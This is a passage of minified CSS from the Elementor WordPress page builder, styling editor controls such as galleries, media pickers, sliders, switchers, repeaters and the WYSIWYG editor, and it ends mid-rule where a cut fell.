.elementor-control-gallery-thumbnail{width:48px;height:48px;-o-object-fit:cover;object-fit:cover;border:var(--e-a-border)}.elementor-control-type-gallery .elementor-control-gallery-thumbnail+.unoptimized__image{outline:2px solid var(--e-a-btn-bg-danger-active);opacity:.6}.elementor-control-type-gallery .elementor-control-gallery-edit{position:absolute;top:0;bottom:0;left:0;right:0;background-color:rgba(0,0,0,.2);padding:10px;font-size:11px;transition:all .3s ease-in-out;pointer-events:none;cursor:pointer;opacity:0}.elementor-control-type-gallery .elementor-control-gallery-edit span{position:absolute;top:10px;left:10px;width:21px;height:21px;color:var(--e-a-color-white);background-color:rgba(0,0,0,.5);box-shadow:0 0 7px 0 rgba(0,0,0,.2);transition:var(--e-a-transition-hover)}.elementor-control-type-gallery .elementor-control-gallery-edit span i{font-size:11px;padding:5px}.elementor-control-type-gallery .elementor-control-gallery-edit span:hover{background-color:rgba(0,0,0,.6)}.elementor-control-type-gallery .elementor-control-gallery-add{width:48px;height:48px;font-size:14px}.elementor-control-type-gallery .elementor-control-gallery-add i{margin:0}.elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-clear,.elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-edit,.elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-thumbnails{display:none}.elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-content{padding:10px}.elementor-control-type-gallery.elementor-gallery-has-images .elementor-control-gallery-add{display:none}.elementor-control-type-gallery.elementor-control-dynamic .elementor-control-gallery-clear{border-inline-start:var(--e-a-border)}.elementor-control-type-gallery .elementor-control-gallery-clear{color:currentColor;background-color:transparent;border:none;cursor:pointer;justify-content:center}.elementor-control-type-gallery .elementor-control-gallery-clear:focus,.elementor-control-type-gallery .elementor-control-gallery-clear:hover{color:var(--e-a-color-danger)}.elementor-control-type-gallery .elementor-control-dynamic-switcher{border-width:0;border-inline-start-width:1px;border-block-end-width:1px;border-radius:0}.e-global__popover{width:288px;z-index:1;font-size:12px;padding-inline-start:10px}.e-global__popover-toggle{border:var(--e-a-border-bold);border-inline-end:0;border-start-start-radius:3px;border-start-end-radius:0;border-end-start-radius:3px;border-end-end-radius:0;display:flex;align-items:center;justify-content:center;cursor:pointer;transition:var(--e-a-transition-hover)}.e-global__popover-toggle:hover{background-color:var(--e-a-bg-hover)}.e-global__popover-toggle--active{color:var(--e-a-color-primary-bold);background-color:var(--e-a-bg-active-bold)}.e-global__popover-container{box-shadow:var(--e-a-popover-shadow);border-radius:var(--e-a-border-radius);background-color:var(--e-a-bg-default)}.e-global__popover-title{padding:15px 20px;font-weight:500;border-block-end:var(--e-a-border);display:flex}.e-global__popover-title>i{margin-inline-end:5px}.e-global__popover-title-text{flex-grow:1}.e-global__popover-info{margin-inline-end:10px;display:inline-block}.e-global__popover-info-tooltip{width:270px;z-index:1;background-color:rgba(0,0,0,.9);color:var(--e-a-color-white);padding:20px;border-radius:3px}.e-global__popover-info-tooltip:after{content:"";position:absolute;bottom:-17px;right:16px;border:10px solid transparent;border-block-start-color:rgba(0,0,0,.9)}.e-global__popover-info i{font-size:13px}.e-global__preview-items-container{max-height:400px;overflow-y:auto;padding:5px 0}.e-global__preview-items-container::-webkit-scrollbar{width:7px}.e-global__preview-items-container::-webkit-scrollbar-thumb{background-color:#babfc5;border-radius:10px}.e-global__manage-button{font-weight:500;cursor:pointer}.e-global__typography{padding-block:10px;padding-inline:35px 20px;white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.e-global__typography.e-global__preview-item--selected:before{font-family:eicons;font-size:13px;content:"\e90e";position:absolute;transform:translateY(-50%);top:50%;inset-inline-start:13px}.e-global__color{padding:10px 20px;display:flex;align-items:center}.e-global__color-preview-container{height:20px;width:20px;border-radius:3px;border:1px solid rgba(0,0,0,.1);margin-inline-end:10px;flex-shrink:0;position:relative}.e-global__color-preview-color,.e-global__color-preview-transparent-bg{border-radius:3px;height:100%;width:100%;position:absolute;top:0;left:0}.e-global__color-preview-transparent-bg{background-image:linear-gradient(45deg,var(--e-a-border-color-bold) 25%,transparent 0,transparent 75%,var(--e-a-border-color-bold) 0,var(--e-a-border-color-bold)),linear-gradient(45deg,var(--e-a-border-color-bold) 25%,transparent 0,transparent 75%,var(--e-a-border-color-bold) 0,var(--e-a-border-color-bold));background-size:12px 12px;background-position:0 0,calc(12px / 2) calc(12px / 2)}.e-global__color-title{flex-grow:1;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;padding-inline-end:10px}.e-global__color-hex{font-size:10px;color:var(--e-a-color-txt-muted)}.e-global__color .pcr-button{background-color:var(--e-a-bg-default)}.e-global__color.e-global__preview-item--selected .e-global__color-preview-container{display:flex;justify-content:center;align-items:center;color:var(--e-a-color-white)}.e-global__color.e-global__preview-item--selected .e-global__color-preview-container:before{font-family:eicons;font-size:13px;content:"\e90e";text-shadow:0 0 1px #000;z-index:1}.e-global__preview-item{cursor:pointer;position:relative}.e-global__preview-item:hover{background-color:var(--e-a-bg-hover)}.e-global__confirm-delete i,.e-global__confirm-message-text i{color:var(--e-a-color-warning)}.e-global__confirm-input-wrapper{display:flex;align-items:center;border:var(--e-a-border);border-radius:var(--e-a-border-radius);margin:15px 0;padding:2px}.e-global__confirm-input-wrapper input{font-family:var(--e-a-font-family);font-size:12px;padding:2px;border:0}.e-control-global .elementor-control-input-wrapper{display:flex;justify-content:flex-end;max-width:135px;width:100%}.e-control-global.elementor-control .elementor-control-input-wrapper{display:flex;flex-direction:row;align-items:stretch}.e-control-global .elementor-control-spinner{margin-inline-end:4px}.elementor-control-type-hidden{display:none!important}.elementor-control-type-icon .select2-selection__rendered .eicon{margin-inline-end:3px}.elementor-control-type-image_dimensions .elementor-control-field-description{margin:0 0 15px;line-height:1.4}.elementor-control-type-image_dimensions .elementor-control-input-wrapper{display:flex;align-items:flex-start}.elementor-control-type-image_dimensions .elementor-image-dimensions-field{width:65px}.elementor-control-type-image_dimensions .elementor-image-dimensions-field input:focus+.elementor-image-dimensions-field-description{color:var(--e-a-color-txt)}.elementor-control-type-image_dimensions .elementor-image-dimensions-separator{width:20px;text-align:center;padding-block-start:4px}.elementor-control-type-image_dimensions .elementor-image-dimensions-field-description{display:block;margin-block-start:5px;color:var(--e-a-color-txt-disabled);font-size:10px;text-align:center}.elementor-control-type-image_dimensions .elementor-image-dimensions-apply-button{margin-inline-start:auto}.elementor-control-media.e-media-empty-placeholder .e-control-image-size,.elementor-control-media.e-media-empty .elementor-control-media-area .elementor-control-media__content__remove,.elementor-control-media.e-media-empty .elementor-control-media-area .elementor-control-media__remove,.elementor-control-media:not(.e-media-empty) .elementor-control-media__content__upload-button{display:none}.elementor-control-media .eicon-plus-circle{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);color:var(--e-a-color-white);font-size:20px}.elementor-control-media__content__upload-button{background-color:var(--e-a-bg-active-bold)}.elementor-control-media__preview{height:100%;background-size:cover;background-position:50%;padding-block-end:42.8571%}.elementor-control-media-area{background-image:linear-gradient(45deg,var(--e-a-border-color-bold) 25%,transparent 0,transparent 75%,var(--e-a-border-color-bold) 0,var(--e-a-border-color-bold)),linear-gradient(45deg,var(--e-a-border-color-bold) 25%,transparent 0,transparent 75%,var(--e-a-border-color-bold) 0,var(--e-a-border-color-bold));background-size:16px 16px;background-position:0 0,calc(16px / 2) calc(16px / 2);background-color:var(--e-a-bg-default);border:var(--e-a-border-bold);aspect-ratio:21/9}.elementor-control-media-area:not(:hover) .elementor-control-media__remove{display:none}.elementor-control-media-area .eicon-video-camera{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);color:hsla(0,0%,100%,.7);font-size:21px}.elementor-control-media .elementor-control-media__content{aspect-ratio:21/9;position:relative;cursor:pointer;overflow:hidden}.elementor-control-media .elementor-control-media__content:hover:after{content:"";position:absolute;top:0;bottom:0;left:0;right:0;background-color:rgba(0,0,0,.2);pointer-events:none}.elementor-control-media .elementor-control-media__content:not(:hover) .elementor-control-media__tools{bottom:-30px}.elementor-control-media__content{transition:all .2s ease-in-out}.elementor-control-media__tools{position:absolute;bottom:0;left:0;right:0;height:27px;transition:all .2s ease-in-out}.elementor-control-media__tools>:not(:first-child){margin-inline-start:1px}.elementor-control-media__tool{display:flex;align-items:center;justify-content:center;flex-grow:1;color:var(--e-a-color-white);background-color:rgba(0,0,0,.9);font-size:11px;transition:var(--e-a-transition-hover)}.elementor-control-media__tool:hover{background-color:rgba(0,0,0,.8)}.elementor-control-media__remove{display:flex;align-items:center;justify-content:center;transition:all .3s ease-in-out}.elementor-control-media__content__remove{position:absolute;z-index:1;top:10px;left:10px;width:20px;height:20px;font-size:11px;color:var(--e-a-color-white);background-color:rgba(0,0,0,.5);border-radius:var(--e-border-radius);box-shadow:0 0 7px 0 rgba(0,0,0,.2);transition:var(--e-a-transition-hover)}.elementor-control-media__content__remove:hover{background-color:rgba(0,0,0,.6)}.elementor-control-media.e-media-empty .elementor-control-file-area,.elementor-control-media__warnings:empty{display:none}.elementor-control-media__warnings:not(:empty){margin-block-start:10px}.elementor-control-media__file{display:flex;justify-content:space-between;align-items:center;width:100%;margin-block-start:10px;border:var(--e-a-border)}.elementor-control-media__file__content{padding-inline-start:5px;font-size:12px}.elementor-control-media__file__content__label{color:#9da5ae}.elementor-control-media__file__content__info{display:flex;align-items:center;font-weight:500}.elementor-control-media__file__content__info__icon{margin-inline-end:5px}.elementor-control-media__file__controls{display:flex;border-inline-start:var(--e-a-border)}.elementor-control-media__file__controls__remove,.elementor-control-media__file__controls__upload-button{width:27px;height:27px;cursor:pointer;align-items:center}.elementor-control-media__file__controls__upload-button{display:flex;justify-content:center}.elementor-control-media__file__controls__remove{border-inline-end:var(--e-a-border)}.elementor-control-media.e-media-empty .elementor-control-media__file__content__info,.elementor-control-media.e-media-empty .elementor-control-media__file__controls__remove,.elementor-control-media:not(.e-media-empty) .elementor-control-media__file__content__label{display:none}.elementor-control-media .elementor-control-dynamic-switcher{border:none;border-radius:0;background-color:rgba(0,0,0,.9);color:var(--e-a-color-white)}.elementor-control-media .elementor-control-dynamic-switcher:hover{background-color:rgba(0,0,0,.8);color:var(--e-a-color-white)}.elementor-control-media .e-control-image-size{display:flex;flex-direction:column;width:100%;padding-block-start:20px}.elementor-control-media .e-control-image-size .elementor-control-input-wrapper{margin-inline-start:auto}.elementor-control-type-media.elementor-control-dynamic-value .elementor-control-input-wrapper{border:none}.elementor-control:not(.elementor-control-type-icons) .elementor-control-media__preview{background-color:var(--e-a-bg-active-bold)}.elementor-control-notice{display:flex;justify-content:flex-start;align-items:flex-start;gap:8px;padding:16px;border-radius:3px;border:1px solid var(--notice-control-color,var(--e-a-color-txt));color:var(--e-a-color-txt);font-size:12px;font-weight:400;line-height:1.5;text-align:start;margin-block-start:10px}.elementor-control-notice-type-info{--notice-control-color:var(--e-a-color-info)}.elementor-control-notice-type-success{--notice-control-color:var(--e-a-color-success)}.elementor-control-notice-type-warning{--notice-control-color:var(--e-a-color-warning)}.elementor-control-notice-type-danger{--notice-control-color:var(--e-a-color-danger)}.elementor-control-notice-icon{flex-basis:18px;color:var(--notice-control-color)}.elementor-control-notice-main{display:flex;flex-direction:column;justify-content:flex-start;align-items:flex-start;gap:6px;flex:1}.elementor-control-notice-main-heading{font-weight:700;font-style:italic}.elementor-control-notice-main-content{font-style:italic;line-height:1.5}.elementor-control-notice-main-actions{display:flex;gap:10px;padding-block-start:8px}.elementor-control-notice-main a{color:inherit;font-weight:700;cursor:pointer}.elementor-control-notice-main a:focus,.elementor-control-notice-main a:hover{color:inherit}.elementor-control-notice-dismiss{-webkit-appearance:none;-moz-appearance:none;appearance:none;background-color:transparent;border:0;padding:0;margin:0;cursor:pointer}.elementor-control-type-popover_toggle input{display:none}.elementor-control-type-popover_toggle label{cursor:pointer}.elementor-control-type-popover_toggle .elementor-control-input-wrapper{display:flex;flex-direction:row-reverse;align-items:center}.elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle:checked+.elementor-control-popover-toggle-toggle-label{color:var(--e-a-color-txt-active);background-color:var(--e-a-bg-active-bold)}.elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle:not(:checked)~.elementor-control-popover-toggle-reset-label{display:none}.elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle-label{height:27px;display:inline-flex;align-items:center;justify-content:center;border-radius:var(--e-a-border-radius);border:var(--e-a-border-bold);transition:var(--e-a-transition-hover)}.elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle-label:hover{background-color:var(--e-a-bg-hover)}.elementor-control-type-popover_toggle .elementor-control-popover-toggle-reset-label{color:var(--e-a-color-txt-muted);margin-inline-end:5px}.elementor-control-type-popover_toggle .elementor-control-popover-toggle-reset-label:hover{color:var(--e-a-color-txt)}.elementor-controls-popover.e-controls-popover--typography{padding-block-start:0}.e-control-global .elementor-control-popover-toggle-toggle-label{border-start-start-radius:0;border-start-end-radius:var(--e-a-border-radius);border-end-start-radius:0;border-end-end-radius:var(--e-a-border-radius);flex-shrink:0}.elementor-control-type-repeater .elementor-control:not(.elementor-control-type-tab){padding-inline-start:10px;padding-inline-end:10px;padding-block-end:10px}.elementor-control-type-repeater.elementor-repeater-has-maximum-rows .elementor-repeater-add,.elementor-control-type-repeater.elementor-repeater-has-maximum-rows .elementor-repeater-tool-duplicate,.elementor-control-type-repeater.elementor-repeater-has-minimum-rows .elementor-repeater-tool-remove{display:none}.elementor-control-type-repeater .elementor-repeater-fields{margin:10px 0}.elementor-control-type-repeater .elementor-repeater-row-controls{border:var(--e-a-border-bold);border-block-start-width:0;padding-block-start:15px}.elementor-control-type-repeater .elementor-repeater-row-controls:not(.editable){display:none}.elementor-control-type-repeater .elementor-repeater-row-tools{display:flex;align-items:center;width:100%;border:1px solid var(--e-a-border-color-bold);transition:var(--e-a-transition-hover)}.elementor-control-type-repeater .elementor-repeater-row-tools>button{display:flex;align-items:center;justify-content:center;height:40px;border:none;background-color:transparent;color:currentColor;cursor:pointer}.elementor-control-type-repeater .elementor-repeater-row-tools>button:focus,.elementor-control-type-repeater .elementor-repeater-row-tools>button:hover{background-color:var(--e-a-bg-hover)}.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title{flex:1;justify-content:flex-start;padding:0 10px;font-size:var(--control-title-size);white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title .eicon,.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title i,.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title svg{margin-inline-end:5px}.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title img[src$=svg]{width:1em}.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-tool{width:40px;border-inline-start:1px solid var(--e-a-border-color-bold)}.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-handle-sortable{width:10px;border-inline-end:1px solid var(--e-a-border-color-bold);cursor:move}.elementor-control-type-repeater .elementor-button-wrapper{text-align:center;padding-block-start:5px}#elementor-controls{padding-block-start:15px}.elementor-control-type-section{padding:0}.elementor-control-type-section.e-open{padding-block-end:10px}.elementor-control-type-section+.elementor-control:not(.elementor-control-type-section):before{display:none}.elementor-control-type-section:not(:first-child):not(.elementor-control-type-section+.elementor-control-type-section){margin-block-start:25px}.elementor-control-type-select .elementor-control-input-wrapper{position:relative}.elementor-control-type-select .elementor-control-input-wrapper select{-webkit-appearance:none;-moz-appearance:none;appearance:none;font-size:var(--control-title-size);font-family:inherit;font-weight:inherit;font-style:inherit;text-transform:inherit;letter-spacing:inherit;line-height:inherit;flex-basis:100%;padding-inline-start:5px;padding-inline-end:20px;cursor:pointer}.elementor-control-type-select .elementor-control-input-wrapper select.e-select-placeholder{color:var(--e-a-color-txt-disabled)}.elementor-control-type-select .elementor-control-input-wrapper option.e-option-placeholder{display:none}.elementor-control-type-select .elementor-control-input-wrapper:after{font-family:eicons;content:"\e8ad";font-size:12px;position:absolute;top:50%;transform:translateY(-50%);left:5px;pointer-events:none}.elementor-control-type-select .elementor-control-field.elementor-control-field-select-small .elementor-control-input-wrapper{max-width:80px}.elementor-shadow-box .elementor-shadow-slider{margin-block-start:10px}.elementor-shadow-box .elementor-color-picker-wrapper .elementor-control-title{flex-grow:1}.elementor-control-type-slider.elementor-control-dynamic input{border-start-start-radius:var(--e-a-border-radius);border-start-end-radius:0;border-end-start-radius:var(--e-a-border-radius);border-end-end-radius:0}.elementor-control-type-slider .elementor-control-unit-2{width:21%}.elementor-control-type-slider.elementor-control-type-slider--multiple .elementor-control-input-wrapper{display:block}.elementor-control-type-slider--multiple{padding-block-end:40px}.elementor-control-type-slider--multiple .elementor-slider{margin-block-start:12px;width:98%}.elementor-control-type-slider--handles-range .elementor-slider .noUi-handle{border-radius:0;width:10px;transform:translateY(calc(50% - 14px)) translateX(-4px)}.elementor-control-type-slider--handles-range .elementor-slider .noUi-handle:after{content:"";position:absolute;top:2px;height:12px;width:11px;transform:rotate(45deg);background-color:var(--e-a-color-white);border-radius:3px}.elementor-control-type-slider--handles-range .elementor-slider .noUi-handle-lower:after{left:5px;box-shadow:2px -2px 3px 0 rgba(0,0,0,.1)}.elementor-control-type-slider--handles-range .elementor-slider .noUi-handle-upper:after{right:5px;box-shadow:-2px 2px 3px 0 rgba(0,0,0,.1)}.elementor-control-type-slider .elementor-control-dynamic-switcher{border-inline-start-width:0;border-start-start-radius:0;border-start-end-radius:var(--e-a-border-radius);border-end-start-radius:0;border-end-end-radius:var(--e-a-border-radius)}.elementor-control-type-slider .elementor-control-input-wrapper{display:flex;align-items:center}.elementor-control-type-slider .elementor-dynamic-cover{margin-block-start:10px}.elementor-control-type-slider.e-units-custom .elementor-slider{display:none}.elementor-control-type-slider.e-units-custom .elementor-slider-input{width:100%;margin:0;transition:none}.elementor-slider{flex-grow:1;height:4px;background-color:var(--e-a-border-color-bold);border-radius:5px;position:relative;cursor:pointer}.elementor-slider-input{width:21%;min-width:54px;margin-inline-start:12px;transition:width .3s ease-in-out}.elementor-slider__extra{position:relative}.elementor-slider__labels{display:flex;justify-content:space-between}.elementor-slider__label{font-size:9px;color:var(--e-a-color-txt-disabled)}.elementor-slider__scales{position:absolute;display:flex;justify-content:space-evenly;width:100%;margin-block-start:4px}.elementor-slider__scale{width:1px;height:21px;background-color:var(--e-a-border-color-focus)}.elementor-slider .noUi-handle{height:16px;width:16px;background-color:var(--e-a-color-white);left:0;transform:translateY(calc(50% - 14px)) translateX(-8px);position:absolute;box-shadow:0 1px 5px rgba(0,0,0,.3);border-radius:50%}.elementor-slider .noUi-connects{position:absolute;width:100%;height:4px}.elementor-slider .noUi-connect{position:absolute;z-index:0;top:0;left:0;height:100%;width:100%;will-change:transform;transform-origin:0 0;background-color:var(--e-a-border-color-focus)}.elementor-slider .noUi-tooltip{position:absolute;top:calc(100% + 5px);left:calc(50% - 4px);transform:translateX(-50%);font-size:10px}.elementor-control-type-structure .elementor-control-field{display:initial}.elementor-control-type-structure .elementor-control-structure-preset{padding:3px;border-radius:var(--e-border-radius);display:inline-block;cursor:pointer;height:50px}.elementor-control-type-structure .elementor-control-structure-preset svg{height:100%}.elementor-control-type-structure .elementor-control-structure-preset path{fill:var(--e-a-border-color-bold)}.elementor-control-type-structure .elementor-control-structure-reset{padding:15px 20px 0;font-size:11px;cursor:pointer;color:var(--e-a-color-txt-muted);border-block-start:var(--e-a-border);margin:0 -20px}.elementor-control-type-structure .elementor-control-structure-reset:hover{color:var(--e-a-color-txt)}.elementor-control-type-structure .elementor-control-structure-title{margin:10px -20px 0}.elementor-control-type-structure .elementor-control-structure-title:before{height:10px;box-shadow:inset 0 2px 4px hsla(0,0%,49.8%,.1)}.elementor-control-type-structure .elementor-control-structure-presets{display:flex;flex-wrap:wrap;justify-content:space-between}.elementor-control-type-structure .elementor-control-structure-presets input{display:none}.elementor-control-type-structure .elementor-control-structure-presets input:checked+.elementor-control-structure-preset path{fill:var(--e-a-border-color-focus)}.elementor-control-type-structure .elementor-control-structure-preset-wrapper{margin-block-end:15px}.elementor-control-type-structure .elementor-control-structure-preset-title{text-align:center;padding-block-start:5px;font-style:italic;font-size:11px;color:#9da5ae}.elementor-control-type-switcher .elementor-control-input-wrapper{text-align:end}.elementor-control-type-switcher .elementor-switch{position:relative;display:inline-block;vertical-align:top;height:20px;background-color:var(--e-a-bg-default);border-radius:18px;cursor:pointer}.elementor-control-type-switcher .elementor-switch-input{display:none}.elementor-control-type-switcher .elementor-switch-label{position:relative;display:block;height:inherit;font-size:10px;background:var(--e-a-bg-active-bold);border-radius:inherit;transition:.15s ease-out;transition-property:opacity,background}.elementor-control-type-switcher .elementor-switch-label:after,.elementor-control-type-switcher .elementor-switch-label:before{position:absolute;top:0;width:50%;text-align:center;line-height:20px;transition:inherit}.elementor-control-type-switcher .elementor-switch-label:before{content:attr(data-off);right:5px;color:var(--e-a-color-txt-muted)}.elementor-control-type-switcher .elementor-switch-label:after{content:attr(data-on);left:5px;color:var(--e-a-btn-color);opacity:0}.elementor-control-type-switcher .elementor-switch-input:checked~.elementor-switch-label{background:var(--e-a-btn-bg-primary)}.elementor-control-type-switcher .elementor-switch-input:checked~.elementor-switch-label:before{opacity:0}.elementor-control-type-switcher .elementor-switch-input:checked~.elementor-switch-label:after{opacity:1}.elementor-control-type-switcher .elementor-switch-handle{position:absolute;top:1px;left:1px;width:18px;height:18px;background:#fff;border-radius:10px;transition:left .15s ease-out}.elementor-control-type-switcher .elementor-switch-input:checked~.elementor-switch-handle{left:auto;right:1px}.elementor-control-type-tabs{display:flex;font-size:var(--control-title-size)}.elementor-control-type-tab{text-align:center;width:100%;padding:0;line-height:25px;border-block-start:var(--e-a-border-bold);border-block-end:var(--e-a-border-bold);border-inline-end:var(--e-a-border-bold);transition:var(--e-a-transition-hover);cursor:pointer}.elementor-control-type-tab:first-child{border-inline-start:var(--e-a-border-bold);border-start-start-radius:var(--e-a-border-radius);border-end-start-radius:var(--e-a-border-radius)}.elementor-control-type-tab:last-child{border-start-end-radius:var(--e-a-border-radius);border-end-end-radius:var(--e-a-border-radius)}.elementor-control-type-tab:hover{background-color:var(--e-a-bg-hover)}.elementor-control-type-tab.e-tab-active{background-color:var(--e-a-bg-active-bold);color:var(--e-a-color-txt-accent)}.e-tab-close{display:none!important}.elementor-control-type-code .elementor-control-dynamic-switcher,.elementor-control-type-textarea .elementor-control-dynamic-switcher{border-inline-start-width:1px;border-start-start-radius:0;border-start-end-radius:0;border-end-end-radius:0;border-end-start-radius:var(--e-a-border-radius)}.elementor-control-type-code:not(.elementor-control-dynamic-value) .elementor-control-dynamic-switcher,.elementor-control-type-textarea:not(.elementor-control-dynamic-value) .elementor-control-dynamic-switcher{position:absolute;top:0;left:0;z-index:1}.elementor-control-type-code .elementor-control-input-wrapper,.elementor-control-type-textarea .elementor-control-input-wrapper{position:relative}.elementor-control-type-code textarea,.elementor-control-type-textarea textarea{display:block;font-family:inherit}.elementor-control-type-code textarea:focus+.elementor-control-dynamic-switcher,.elementor-control-type-textarea textarea:focus+.elementor-control-dynamic-switcher{display:none}.elementor-control-type-code pre:focus-within+.elementor-control-dynamic-switcher,.elementor-control-type-textarea pre:focus-within+.elementor-control-dynamic-switcher{display:none}.elementor-control-type-url .elementor-control-field{position:relative}.elementor-control-type-url .elementor-control-input-wrapper{display:flex}.elementor-control-type-url.elementor-control-dynamic .elementor-control-url-more-options input{border-radius:var(--e-a-border-radius)}.elementor-control-type-url.elementor-control-dynamic-value .e-input-style{border-start-end-radius:0;border-end-end-radius:0}.elementor-control-type-url.elementor-control-dynamic-value .elementor-control-url-more{border-start-end-radius:var(--e-a-border-radius);border-end-end-radius:var(--e-a-border-radius)}.elementor-control-type-url .elementor-control-url-more{display:flex;align-items:center;justify-content:center;flex-shrink:0;border:var(--e-a-border-bold);color:currentColor;background-color:transparent;border-inline-start-width:0;cursor:pointer}.elementor-control-type-url .elementor-control-url-more i{font-size:12px}.elementor-control-type-url .elementor-control-url-more-options{display:none;padding-block-start:10px}.elementor-control-type-url .elementor-control-url-more-options .elementor-control-field-description{margin-block-start:10px}.elementor-control-type-url .elementor-control-url-more:hover{color:var(--e-a-color-txt-hover)}.elementor-control-type-url .elementor-control-url-more:focus{color:var(--e-a-color-txt-active);border-color:var(--e-a-border-color-focus)}.elementor-control-type-url .elementor-control-url-option{display:flex;align-items:center}.elementor-control-type-url .elementor-control-url-option:not(:last-child){padding-block-end:10px}.elementor-control-type-url .elementor-control-url-option input,.elementor-control-type-url .elementor-control-url-option label{cursor:pointer}.elementor-control-type-url .elementor-control-url-autocomplete-spinner{display:none;position:absolute;top:5px;right:0;width:10px;height:10px;font-size:10px;color:var(--e-a-color-txt-disabled)}.elementor-control-type-url .elementor-control-url__custom-attributes label{font-size:var(--control-title-size)}.elementor-control-type-url .elementor-control-url__custom-attributes input{width:100%;margin-block-start:10px}.elementor-control-type-url .elementor-input:focus~div{border-color:var(--e-a-border-color-focus)}.elementor-autocomplete-menu{position:absolute;background:var(--e-a-bg-default);border:var(--e-a-border);margin:0;list-style:none;padding:4px 0;height:auto;width:100%;min-width:260px;max-width:300px;max-height:200px;overflow-y:auto;border-radius:3px;transition:var(--e-a-transition-hover);cursor:default;z-index:1}.elementor-autocomplete-menu .ui-menu-item{display:flex;justify-content:space-between;align-self:baseline;padding:5px 8px;font-size:12px;width:100%;line-height:1.2;cursor:pointer}.elementor-autocomplete-menu .ui-menu-item.ui-state-active,.elementor-autocomplete-menu .ui-menu-item.ui-state-focus,.elementor-autocomplete-menu .ui-menu-item.ui-state-hover{background:var(--e-a-bg-hover)}.elementor-autocomplete-menu .elementor-autocomplete-item-info{font-size:10px;padding-block-start:2px}.elementor-control-type-wp_widget .widget-inside{line-height:2;background-color:inherit;display:block}.elementor-control-type-wp_widget .quicktags-toolbar input{width:auto}.elementor-control-type-wysiwyg *{box-sizing:content-box}.elementor-control-type-wysiwyg .wp-editor-container{border:var(--e-a-border)}.elementor-control-type-wysiwyg .wp-editor-tabs{border:var(--e-a-border-bold);border-block-end:none;border-start-start-radius:var(--e-a-border-radius);border-start-end-radius:var(--e-a-border-radius);border-end-end-radius:0;border-end-start-radius:0}.elementor-control-type-wysiwyg .wp-editor-tabs button:hover{background-color:var(--e-a-bg-hover)}.elementor-control-type-wysiwyg #insert-media-button{height:auto;line-height:24px;font-size:10px;color:var(--e-a-color-txt);border-color:var(--e-a-border-color-bold);background-color:var(--e-a-bg-default);min-height:0}.elementor-control-type-wysiwyg .ed_button{height:22px;width:auto}.elementor-control-type-wysiwyg .wp-media-buttons-icon{height:14px;margin:0}.elementor-control-type-wysiwyg .wp-media-buttons-icon:before{font-size:14px}.elementor-control-type-wysiwyg .wp-switch-editor{position:static;border:none;margin:0;color:var(--e-a-color-txt);font-size:10px;padding:3px 9px 4px}.elementor-control-type-wysiwyg .switch-html{border:solid var(--e-a-border-color-bold);border-width:0 1px}.elementor-control-type-wysiwyg .html-active .switch-tmce{background-color:transparent}.elementor-control-type-wysiwyg .html-active .switch-html,.elementor-control-type-wysiwyg .tmce-active .switch-tmce{background-color:var(--e-a-bg-active)}.elementor-control-type-wysiwyg .tmce-active .switch-html{background-color:transparent}.elementor-control-type-wysiwyg .mce-toolbar-grp,.elementor-control-type-wysiwyg .mce-toolbar .mce-btn-group .mce-btn.mce-listbox,.elementor-control-type-wysiwyg .quicktags-toolbar{background-color:var(--e-a-bg-default)}.elementor-control-type-wysiwyg .mce-toolbar .mce-btn-group .mce-btn.mce-listbox button{color:var(--e-a-color-txt)}.elementor-control-type-wysiwyg .mce-toolbar-grp>div{padding:0 3px}.elementor-control-type-wysiwyg .elementor-wp-editor{box-sizing:border-box}.elementor-control-type-wysiwyg .mce-ico{color:var(--e-a-color-txt);font-size:16px}.elementor-control-type-wysiwyg .mce-btn-group .mce-btn.mce-active,.elementor-control-type-wysiwyg .mce-btn-group .mce-btn:active,.elementor-control-type-wysiwyg .mce-btn-group .mce-btn:hover{color:var(--e-a-color-txt-active);background:var(--e-a-bg-hover);border-color:var(--e-a-border-color);box-shadow:none}.elementor-control-type-wysiwyg .mce-btn-group .mce-btn.mce-active i,.elementor-control-type-wysiwyg .mce-btn-group .mce-btn:active i,.elementor-control-type-wysiwyg .mce-btn-group .mce-btn:hover i{color:var(--e-a-color-txt-active)}.elementor-control-type-wysiwyg .mce-path{padding:5px 10px}.elementor-control-type-wysiwyg .mce-path-item{font-size:12px;color:var(--e-a-color-txt)}.elementor-control-type-wysiwyg .mce-top-part:before{box-shadow:none}.elementor-control-type-wysiwyg .elementor-control-dynamic-switcher{border:none}@media screen and (prefers-color-scheme:dark){#wp-link-wrap{color-scheme:light;--e-a-color-txt:#515962;--e-a-bg-default:#fff;--e-a-border-color-bold:#d5d8dc;--e-a-color-primary-bold:#d004d4}#wp-link{color:var(--e-a-color-txt)}#wp-link input{background-color:var(--e-a-bg-default)}#wp-link input,#wp-link input[type=checkbox]{border-color:var(--e-a-border-color-bold)}#wp-link input[type=checkbox]:checked{background:var(--e-a-color-primary-bold)}#wp-link 